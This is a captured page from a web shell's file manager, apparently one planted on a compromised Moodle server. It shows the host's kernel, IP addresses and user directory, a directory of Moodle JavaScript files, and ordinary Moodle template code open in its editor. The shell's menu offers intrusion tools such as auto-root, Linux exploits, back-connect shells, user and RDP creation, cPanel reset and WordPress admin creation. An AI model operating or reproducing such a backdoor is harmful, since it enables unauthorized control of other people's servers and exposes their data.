Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.254.93
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
lib /
amd /
build /
[ HOME SHELL ]
Name
Size
Permission
Action
emoji
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
adapter.min.js
120.63
KB
-rw-rw-r--
adapter.min.js.map
291.38
KB
-rw-rw-r--
addblockmodal.min.js
3
KB
-rw-rw-r--
addblockmodal.min.js.map
5.86
KB
-rw-rw-r--
ajax.min.js
3.14
KB
-rw-r--r--
ajax.min.js.map
15.12
KB
-rw-r--r--
aria.min.js
607
B
-rw-r--r--
aria.min.js.map
92
B
-rw-r--r--
auto_rows.min.js
1.23
KB
-rw-r--r--
auto_rows.min.js.map
4.64
KB
-rw-r--r--
autoscroll.min.js
2.38
KB
-rw-r--r--
autoscroll.min.js.map
8.51
KB
-rw-r--r--
backoff_timer.min.js
1.47
KB
-rw-r--r--
backoff_timer.min.js.map
6.21
KB
-rw-r--r--
chart_axis.min.js
2
KB
-rw-r--r--
chart_axis.min.js.map
9.56
KB
-rw-r--r--
chart_bar.min.js
1.12
KB
-rw-r--r--
chart_bar.min.js.map
4.28
KB
-rw-r--r--
chart_base.min.js
4.25
KB
-rw-rw-r--
chart_base.min.js.map
15.29
KB
-rw-rw-r--
chart_builder.min.js
465
B
-rw-r--r--
chart_builder.min.js.map
2.13
KB
-rw-r--r--
chart_line.min.js
733
B
-rw-r--r--
chart_line.min.js.map
2.81
KB
-rw-r--r--
chart_output.min.js
332
B
-rw-r--r--
chart_output.min.js.map
1.3
KB
-rw-r--r--
chart_output_base.min.js
494
B
-rw-r--r--
chart_output_base.min.js.map
2.43
KB
-rw-r--r--
chart_output_chartjs.min.js
5.01
KB
-rw-r--r--
chart_output_chartjs.min.js.ma...
16.25
KB
-rw-r--r--
chart_output_htmltable.min.js
1.45
KB
-rw-r--r--
chart_output_htmltable.min.js....
4.84
KB
-rw-r--r--
chart_pie.min.js
1.21
KB
-rw-r--r--
chart_pie.min.js.map
4.3
KB
-rw-r--r--
chart_series.min.js
3.2
KB
-rw-rw-r--
chart_series.min.js.map
11.35
KB
-rw-rw-r--
chartjs-lazy.min.js
329.26
KB
-rw-rw-r--
chartjs-lazy.min.js.map
944.85
KB
-rw-rw-r--
chartjs.min.js
277
B
-rw-r--r--
chartjs.min.js.map
1.09
KB
-rw-r--r--
checkbox-toggleall.min.js
4.68
KB
-rw-rw-r--
checkbox-toggleall.min.js.map
16.67
KB
-rw-rw-r--
config.min.js
308
B
-rw-r--r--
config.min.js.map
1.17
KB
-rw-r--r--
custom_interaction_events.min....
6.95
KB
-rw-r--r--
custom_interaction_events.min....
28.74
KB
-rw-r--r--
dragdrop.min.js
4.15
KB
-rw-r--r--
dragdrop.min.js.map
16.81
KB
-rw-r--r--
drawer.min.js
3.07
KB
-rw-rw-r--
drawer.min.js.map
4.83
KB
-rw-rw-r--
drawer_events.min.js
291
B
-rw-r--r--
drawer_events.min.js.map
1.15
KB
-rw-r--r--
event.min.js
1.39
KB
-rw-rw-r--
event.min.js.map
5.42
KB
-rw-rw-r--
first.min.js
722
B
-rw-r--r--
first.min.js.map
1.71
KB
-rw-r--r--
form-autocomplete.min.js
19.58
KB
-rw-rw-r--
form-autocomplete.min.js.map
67.83
KB
-rw-rw-r--
form-cohort-selector.min.js
1.03
KB
-rw-r--r--
form-cohort-selector.min.js.ma...
3.61
KB
-rw-r--r--
form-course-selector.min.js
1.73
KB
-rw-r--r--
form-course-selector.min.js.ma...
5.6
KB
-rw-r--r--
fragment.min.js
1.71
KB
-rw-rw-r--
fragment.min.js.map
6.54
KB
-rw-rw-r--
fullscreen.min.js
524
B
-rw-rw-r--
fullscreen.min.js.map
2.05
KB
-rw-rw-r--
icon_system.min.js
603
B
-rw-r--r--
icon_system.min.js.map
3.1
KB
-rw-r--r--
icon_system_fontawesome.min.js
1.81
KB
-rw-r--r--
icon_system_fontawesome.min.js...
5.88
KB
-rw-r--r--
icon_system_standard.min.js
944
B
-rw-r--r--
icon_system_standard.min.js.ma...
3.23
KB
-rw-r--r--
inplace_editable.min.js
6.75
KB
-rw-rw-r--
inplace_editable.min.js.map
19.32
KB
-rw-rw-r--
key_codes.min.js
487
B
-rw-r--r--
key_codes.min.js.map
1.62
KB
-rw-r--r--
loadingicon.min.js
1.29
KB
-rw-r--r--
loadingicon.min.js.map
4.9
KB
-rw-r--r--
localstorage.min.js
590
B
-rw-r--r--
localstorage.min.js.map
2.52
KB
-rw-r--r--
log.min.js
773
B
-rw-r--r--
log.min.js.map
2.29
KB
-rw-r--r--
loglevel.min.js
4.88
KB
-rw-rw-r--
loglevel.min.js.map
14.1
KB
-rw-rw-r--
modal.min.js
11.72
KB
-rw-rw-r--
modal.min.js.map
39.95
KB
-rw-rw-r--
modal_backdrop.min.js
1.83
KB
-rw-r--r--
modal_backdrop.min.js.map
6.09
KB
-rw-r--r--
modal_cancel.min.js
3.76
KB
-rw-rw-r--
modal_cancel.min.js.map
1.83
KB
-rw-rw-r--
modal_events.min.js
535
B
-rw-r--r--
modal_events.min.js.map
1.62
KB
-rw-r--r--
modal_factory.min.js
4.74
KB
-rw-rw-r--
modal_factory.min.js.map
11.92
KB
-rw-rw-r--
modal_registry.min.js
875
B
-rw-r--r--
modal_registry.min.js.map
3.05
KB
-rw-r--r--
modal_save_cancel.min.js
4.12
KB
-rw-rw-r--
modal_save_cancel.min.js.map
2.78
KB
-rw-rw-r--
mustache.min.js
11.31
KB
-rw-rw-r--
mustache.min.js.map
37.6
KB
-rw-rw-r--
network.min.js
3.56
KB
-rw-rw-r--
network.min.js.map
12.64
KB
-rw-rw-r--
normalise.min.js
684
B
-rw-rw-r--
normalise.min.js.map
1.97
KB
-rw-rw-r--
notification.min.js
13.07
KB
-rw-rw-r--
notification.min.js.map
12.85
KB
-rw-rw-r--
page_global.min.js
1.66
KB
-rw-r--r--
page_global.min.js.map
6.81
KB
-rw-r--r--
paged_content.min.js
1.21
KB
-rw-r--r--
paged_content.min.js.map
3.81
KB
-rw-r--r--
paged_content_events.min.js
544
B
-rw-r--r--
paged_content_events.min.js.ma...
1.5
KB
-rw-r--r--
paged_content_factory.min.js
5.5
KB
-rw-rw-r--
paged_content_factory.min.js.m...
26.16
KB
-rw-rw-r--
paged_content_pages.min.js
3.47
KB
-rw-r--r--
paged_content_pages.min.js.map
15.14
KB
-rw-r--r--
paged_content_paging_bar.min.j...
8.3
KB
-rw-r--r--
paged_content_paging_bar.min.j...
27.47
KB
-rw-r--r--
paged_content_paging_bar_limit...
1.04
KB
-rw-r--r--
paged_content_paging_bar_limit...
3.28
KB
-rw-r--r--
paged_content_paging_dropdown....
2.5
KB
-rw-r--r--
paged_content_paging_dropdown....
9.79
KB
-rw-r--r--
pending.min.js
594
B
-rw-r--r--
pending.min.js.map
2.07
KB
-rw-r--r--
permissionmanager.min.js
4.72
KB
-rw-rw-r--
permissionmanager.min.js.map
14.11
KB
-rw-rw-r--
popover_region_controller.min....
5.97
KB
-rw-r--r--
popover_region_controller.min....
17.26
KB
-rw-r--r--
popper.min.js
32.51
KB
-rw-rw-r--
popper.min.js.map
108.7
KB
-rw-rw-r--
prefetch.min.js
4.92
KB
-rw-rw-r--
prefetch.min.js.map
7.69
KB
-rw-rw-r--
pubsub.min.js
1.04
KB
-rw-rw-r--
pubsub.min.js.map
2.81
KB
-rw-rw-r--
sessionstorage.min.js
724
B
-rw-r--r--
sessionstorage.min.js.map
2.67
KB
-rw-r--r--
showhidesettings.min.js
3.88
KB
-rw-r--r--
showhidesettings.min.js.map
15.57
KB
-rw-r--r--
sortable_list.min.js
14.2
KB
-rw-rw-r--
sortable_list.min.js.map
41.31
KB
-rw-rw-r--
storagewrapper.min.js
1.71
KB
-rw-r--r--
storagewrapper.min.js.map
6.75
KB
-rw-r--r--
str.min.js
4.05
KB
-rw-rw-r--
str.min.js.map
10.31
KB
-rw-rw-r--
tag.min.js
9.37
KB
-rw-r--r--
tag.min.js.map
28.04
KB
-rw-r--r--
templates.min.js
15.29
KB
-rw-rw-r--
templates.min.js.map
65.43
KB
-rw-rw-r--
toast.min.js
4.51
KB
-rw-rw-r--
toast.min.js.map
4.23
KB
-rw-rw-r--
tooltip.min.js
1.9
KB
-rw-r--r--
tooltip.min.js.map
6.09
KB
-rw-r--r--
tree.min.js
7
KB
-rw-rw-r--
tree.min.js.map
24.27
KB
-rw-rw-r--
truncate.min.js
2.65
KB
-rw-r--r--
truncate.min.js.map
9.42
KB
-rw-r--r--
url.min.js
1.27
KB
-rw-r--r--
url.min.js.map
4.9
KB
-rw-r--r--
user_date.min.js
2.2
KB
-rw-r--r--
user_date.min.js.map
11.94
KB
-rw-r--r--
userfeedback.min.js
1.79
KB
-rw-rw-r--
userfeedback.min.js.map
4.19
KB
-rw-rw-r--
utils.min.js
843
B
-rw-rw-r--
utils.min.js.map
3.35
KB
-rw-rw-r--
yui.min.js
405
B
-rw-r--r--
yui.min.js.map
1.3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : templates.min.js
/** * Template renderer for Moodle. Load and render Moodle templates with Mustache. * * @module core/templates * @copyright 2015 Damyon Wiese <damyon@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @since 2.9 */ define("core/templates",["core/mustache","jquery","core/ajax","core/str","core/notification","core/url","core/config","core/localstorage","core/icon_system","core/event","core/yui","core/log","core/truncate","core/user_date","core/pending"],(function(mustache,$,ajax,str,notification,coreurl,config,storage,IconSystem,event,Y,Log,Truncate,UserDate,Pending){var uniqInstances=0,templateCache={},templatePromises={},cachePartialPromises={},iconSystem={},loadTemplateBuffer=[],isLoadingTemplates=!1,disallowedNestedHelpers=["js"],getNormalisedComponent=function(component){return component&&"moodle"!==component&&"core"!==component?component:"core"},getTemplatePromiseFromCache=function(searchKey){if(searchKey in templatePromises)return templatePromises[searchKey];if(searchKey in templateCache)return templatePromises[searchKey]=$.Deferred().resolve(templateCache[searchKey]).promise(),templatePromises[searchKey];if(M.cfg.templaterev<=0)return null;var cached=storage.get("core_template/"+M.cfg.templaterev+":"+searchKey);return cached?(templateCache[searchKey]=cached,templatePromises[searchKey]=$.Deferred().resolve(cached).promise(),templatePromises[searchKey]):null},processLoadTemplateBuffer=function processLoadTemplateBuffer(){if(loadTemplateBuffer.length&&!isLoadingTemplates){isLoadingTemplates=!0;var templatesToLoad=loadTemplateBuffer.slice(),serverRequestsDeferred=$.Deferred(),requests=[],templatePromises=templatesToLoad.map((function(templateData){var component=getNormalisedComponent(templateData.component),name=templateData.name,searchKey=templateData.searchKey,theme=templateData.theme,templateDeferred=templateData.deferred,promise=null,cachedPromise=getTemplatePromiseFromCache(searchKey);if(cachedPromise)promise=cachedPromise;else{requests.push({methodname:"core_output_load_template_with_dependencies",args:{component:component,template:name,themename:theme,lang:$("html").attr("lang").replace(/-/g,"_")}});var index=requests.length-1;promise=serverRequestsDeferred.promise().then((function(promises){return templatePromises[searchKey]=promises[index].then((function(response){var templateSource=null;return response.templates.forEach((function(data){data.component=getNormalisedComponent(data.component);var tempSearchKey=[theme,data.component,data.name].join("/");templateCache[tempSearchKey]=data.value,M.cfg.templaterev>0&&storage.set("core_template/"+M.cfg.templaterev+":"+tempSearchKey,data.value),data.component==component&&data.name==name&&(templateSource=data.value)})),response.strings.length&&str.cache_strings(response.strings.map((function(data){return{component:getNormalisedComponent(data.component),key:data.name,value:data.value}}))),templateSource})),templatePromises[searchKey]}))}return promise.then((function(source){return templateDeferred.resolve(source)})).catch((function(error){throw templateDeferred.reject(error),error}))}));requests.length?serverRequestsDeferred.resolve(ajax.call(requests,!0,!1,!1,0,M.cfg.templaterev)):serverRequestsDeferred.resolve(),$.when.apply(null,templatePromises).then((function(){loadTemplateBuffer.splice(0,templatesToLoad.length),isLoadingTemplates=!1,processLoadTemplateBuffer()})).catch((function(){loadTemplateBuffer.splice(0,templatesToLoad.length),isLoadingTemplates=!1,processLoadTemplateBuffer()}))}},Renderer=function(){this.requiredStrings=[],this.requiredJS=[],this.requiredDates=[],this.currentThemeName=""};Renderer.prototype.requiredStrings=null,Renderer.prototype.requiredDates=[],Renderer.prototype.requiredJS=null,Renderer.prototype.currentThemeName="",Renderer.prototype.getTemplate=function(templateName){var currentTheme=this.currentThemeName,searchKey=currentTheme+"/"+templateName,cachedPromise=getTemplatePromiseFromCache(searchKey);if(cachedPromise)return cachedPromise;var existingBufferRecords=loadTemplateBuffer.filter((function(record){return record.searchKey==searchKey}));if(existingBufferRecords.length)return existingBufferRecords[0].deferred.promise();var parts=templateName.split("/"),component=getNormalisedComponent(parts.shift()),name=parts.join("/"),deferred=$.Deferred();return loadTemplateBuffer.push({component:component,name:name,theme:currentTheme,searchKey:searchKey,deferred:deferred}),processLoadTemplateBuffer(),deferred.promise()},Renderer.prototype.prefetchTemplates=function(templateNames,currentTheme){templateNames.forEach((function(templateName){var searchKey=currentTheme+"/"+templateName;if(!getTemplatePromiseFromCache(searchKey)&&!loadTemplateBuffer.filter((function(record){return record.searchKey==searchKey})).length){var parts=templateName.split("/"),component=getNormalisedComponent(parts.shift()),name=parts.join("/");loadTemplateBuffer.push({component:component,name:name,theme:currentTheme,searchKey:searchKey,deferred:$.Deferred()})}})),processLoadTemplateBuffer()},Renderer.prototype.partialHelper=function(name){var searchKey=this.currentThemeName+"/"+name;return searchKey in templateCache||notification.exception(new Error("Failed to pre-fetch the template: "+name)),templateCache[searchKey]},Renderer.prototype.renderIcon=function(key,component,title){var modulename=config.iconsystemmodule;component=getNormalisedComponent(component);var ready=$.Deferred();return require([modulename],(function(System){var system=new System;system instanceof IconSystem?(iconSystem=system,system.init().then(ready.resolve).catch(notification.exception)):ready.reject("Invalid icon system specified"+config.iconsystemmodule)})),ready.then(function(iconSystem){return this.getTemplate(iconSystem.getTemplateName())}.bind(this)).then((function(template){return iconSystem.renderIcon(key,component,title,template)}))},Renderer.prototype.pixHelper=function(context,sectionText,helper){var parts=sectionText.split(","),key="",component="",text="";parts.length>0&&(key=helper(parts.shift().trim(),context)),parts.length>0&&(component=helper(parts.shift().trim(),context)),parts.length>0&&(text=helper(parts.join(",").trim(),context));var templateName=iconSystem.getTemplateName(),searchKey=this.currentThemeName+"/"+templateName,template=templateCache[searchKey];return component=getNormalisedComponent(component),key=key.replace(///gi,"/"),iconSystem.renderIcon(key,component,text,template)},Renderer.prototype.jsHelper=function(context,sectionText,helper){return this.requiredJS.push(helper(sectionText,context)),""},Renderer.prototype.stringHelper=function(context,sectionText,helper){var parts=sectionText.split(","),key="",component="",param="";parts.length>0&&(key=parts.shift().trim()),parts.length>0&&(component=parts.shift().trim()),parts.length>0&&(param=parts.join(",").trim()),component=getNormalisedComponent(component),""!==param&&(param=helper(param,context)),0===param.indexOf("{")&&0!==param.indexOf("{{")&&(param=JSON.parse(param));var index=this.requiredStrings.length;return this.requiredStrings.push({key:key,component:component,param:param}),"[[_s"+index+"]]"},Renderer.prototype.cleanStringHelper=function(context,sectionText,helper){return this.stringHelper(context,sectionText,helper).replace("s","c")},Renderer.prototype.quoteHelper=function(context,sectionText,helper){var content=helper(sectionText.trim(),context);return'"'+(content=content.replace(/"/g,'\\"').replace(/\t/g,"	").replace(/([{}]{2,3})/g,"{{=<% %>=}}$1<%={{ }}=%>").replace(/(\r\n|\r|\n)/g,"
"))+'"'},Renderer.prototype.shortenTextHelper=function(context,sectionText,helper){var parts=sectionText.match(/(.*?),(.*)/),length=parts[1].trim(),content=helper(parts[2].trim(),context);return Truncate.truncate(content,{length:length,words:!0,ellipsis:"..."})},Renderer.prototype.userDateHelper=function(context,sectionText,helper){var parts=sectionText.match(/(.*?),(.*)/),timestamp=helper(parts[1].trim(),context),format=helper(parts[2].trim(),context),index=this.requiredDates.length;return this.requiredDates.push({timestamp:timestamp,format:format}),"[[_t_"+index+"]]"},Renderer.prototype.addHelperFunction=function(helperFunction,context){return function(){return function(sectionText,helper){var originalHelpers=disallowedNestedHelpers.reduce((function(carry,name){return context.hasOwnProperty(name)&&(carry[name]=context[name]),carry}),{});disallowedNestedHelpers.forEach((function(helperName){context[helperName]=function(){return""}}));var result=helperFunction.apply(this,[context,sectionText,helper]);for(var name in originalHelpers)context[name]=originalHelpers[name];return result}.bind(this)}.bind(this)},Renderer.prototype.addHelpers=function(context,themeName){this.currentThemeName=themeName,this.requiredStrings=[],this.requiredJS=[],context.uniqid=uniqInstances++,context.str=this.addHelperFunction(this.stringHelper,context),context.cleanstr=this.addHelperFunction(this.cleanStringHelper,context),context.pix=this.addHelperFunction(this.pixHelper,context),context.js=this.addHelperFunction(this.jsHelper,context),context.quote=this.addHelperFunction(this.quoteHelper,context),context.shortentext=this.addHelperFunction(this.shortenTextHelper,context),context.userdate=this.addHelperFunction(this.userDateHelper,context),context.globals={config:config},context.currentTheme=themeName},Renderer.prototype.getJS=function(){var js="";return this.requiredJS.length>0&&(js=this.requiredJS.join(";\n")),js},Renderer.prototype.treatStringsInContent=function(content,strings){var treated,index,strIndex,walker,char,strFinal,isClean,pattern=/\[\[_(s|c)\d+\]\]/;do{for(treated="",index=content.search(pattern);index>-1;){treated+=content.substring(0,index),isClean="c"==(content=content.substr(index))[3],strIndex="",walker=4,char=content.substr(walker,1);do{strIndex+=char,walker++,char=content.substr(walker,1)}while("]"!=char);void 0===(strFinal=strings[parseInt(strIndex,10)])&&(Log.debug("Could not find string for pattern [[_"+(isClean?"c":"s")+strIndex+"]]."),strFinal=""),isClean&&(strFinal=mustache.escape(strFinal)),treated+=strFinal,index=(content=content.substr(6+strIndex.length)).search(pattern)}index=(content=treated+content).search(pattern)}while(index>-1);return content},Renderer.prototype.treatDatesInContent=function(content,dates){return dates.forEach((function(date,index){var re=new RegExp("\\[\\[_t_"+index+"\\]\\]","g");content=content.replace(re,date)})),content},Renderer.prototype.doRender=function(templateSource,context,themeName){this.currentThemeName=themeName;var iconTemplate=iconSystem.getTemplateName(),pendingPromise=new Pending("core/templates:doRender");return this.getTemplate(iconTemplate).then(function(){this.addHelpers(context,themeName);var result=mustache.render(templateSource,context,this.partialHelper.bind(this));return $.Deferred().resolve(result.trim(),this.getJS()).promise()}.bind(this)).then(function(html,js){return this.requiredStrings.length>0?str.get_strings(this.requiredStrings).then(function(strings){return this.requiredDates=this.requiredDates.map(function(date){return{timestamp:this.treatStringsInContent(date.timestamp,strings),format:this.treatStringsInContent(date.format,strings)}}.bind(this)),html=this.treatStringsInContent(html,strings),js=this.treatStringsInContent(js,strings),$.Deferred().resolve(html,js).promise()}.bind(this)):$.Deferred().resolve(html,js).promise()}.bind(this)).then(function(html,js){return this.requiredDates.length>0?UserDate.get(this.requiredDates).then(function(dates){return html=this.treatDatesInContent(html,dates),js=this.treatDatesInContent(js,dates),$.Deferred().resolve(html,js).promise()}.bind(this)):$.Deferred().resolve(html,js).promise()}.bind(this)).then((function(html,js){return pendingPromise.resolve(),$.Deferred().resolve(html,js).promise()}))};var runTemplateJS=function(source){if(""!==source.trim()){var newscript=$("<script>").attr("type","text/javascript").html(source);$("head").append(newscript)}},domReplace=function(element,newHTML,newJS,replaceChildNodes){var replaceNode=$(element);if(replaceNode.length){var newNodes=$(newHTML);return replaceChildNodes?(new Y.NodeList(replaceNode.children().get()).destroy(!0),replaceNode.empty(),replaceNode.append(newNodes)):(new Y.NodeList(replaceNode.get()).destroy(!0),replaceNode.replaceWith(newNodes)),runTemplateJS(newJS),event.notifyFilterContentUpdated(newNodes),newNodes.get()}return[]};Renderer.prototype.scanForPartials=function(templateSource){var partials=[];return function findPartial(tokens,partials){var i,token;for(i=0;i<tokens.length;i++)">"!=(token=tokens[i])[0]&&"<"!=token[0]||partials.push(token[1]),token.length>4&&findPartial(token[4],partials)}(mustache.parse(templateSource),partials),partials},Renderer.prototype.cachePartials=function(templateName,parentage){var searchKey=this.currentThemeName+"/"+templateName;return searchKey in cachePartialPromises||(parentage=parentage||[searchKey],cachePartialPromises[searchKey]=$.Deferred(),this.getTemplate(templateName).then(function(templateSource){var fetchThemAll=this.scanForPartials(templateSource).filter(function(partialName){return!(parentage.indexOf(this.currentThemeName+"/"+partialName)>=0)&&partialName!=templateName}.bind(this)).map(function(partialName){return parentage.push(this.currentThemeName+"/"+partialName),this.cachePartials(partialName,parentage)}.bind(this));return $.when.apply($,fetchThemAll).then((function(){return cachePartialPromises[searchKey].resolve(templateSource)}))}.bind(this)).catch(cachePartialPromises[searchKey].reject)),cachePartialPromises[searchKey]},Renderer.prototype.render=function(templateName,context,themeName){void 0===themeName&&(themeName=config.theme),this.currentThemeName=themeName;var modulename=config.iconsystemmodule,ready=$.Deferred();return require([modulename],(function(System){var system=new System;system instanceof IconSystem?(iconSystem=system,system.init().then(ready.resolve).catch(notification.exception)):ready.reject("Invalid icon system specified"+config.iconsystem)})),ready.then(function(){return this.cachePartials(templateName)}.bind(this)).then(function(templateSource){return this.doRender(templateSource,context,themeName)}.bind(this))};return{render:function(templateName,context,themeName){return(new Renderer).render(templateName,context,themeName)},prefetchTemplates:function(templateNames,themeName){var renderer=new Renderer;return void 0===themeName&&(themeName=config.theme),renderer.prefetchTemplates(templateNames,themeName)},renderForPromise:function(templateName,context,themeName){return(new Renderer).render(templateName,context,themeName).then((function(html,js){return{html:html,js:js}}))},renderPix:function(key,component,title){return(new Renderer).renderIcon(key,getNormalisedComponent(component),title)},runTemplateJS:runTemplateJS,replaceNodeContents:function(element,newHTML,newJS){return domReplace(element,newHTML,newJS,!0)},replaceNode:function(element,newHTML,newJS){return domReplace(element,newHTML,newJS,!1)},prependNodeContents:function(element,html,js){return function(element,html,js){var node=$(element);if(node.length){var newContent=$(html);return node.prepend(newContent),runTemplateJS(js),event.notifyFilterContentUpdated(node),newContent.get()}return[]}(element,html,js)},appendNodeContents:function(element,html,js){return function(element,html,js){var node=$(element);if(node.length){var newContent=$(html);return node.append(newContent),runTemplateJS(js),event.notifyFilterContentUpdated(node),newContent.get()}return[]}(element,html,js)}}})); //# sourceMappingURL=templates.min.js.map
Close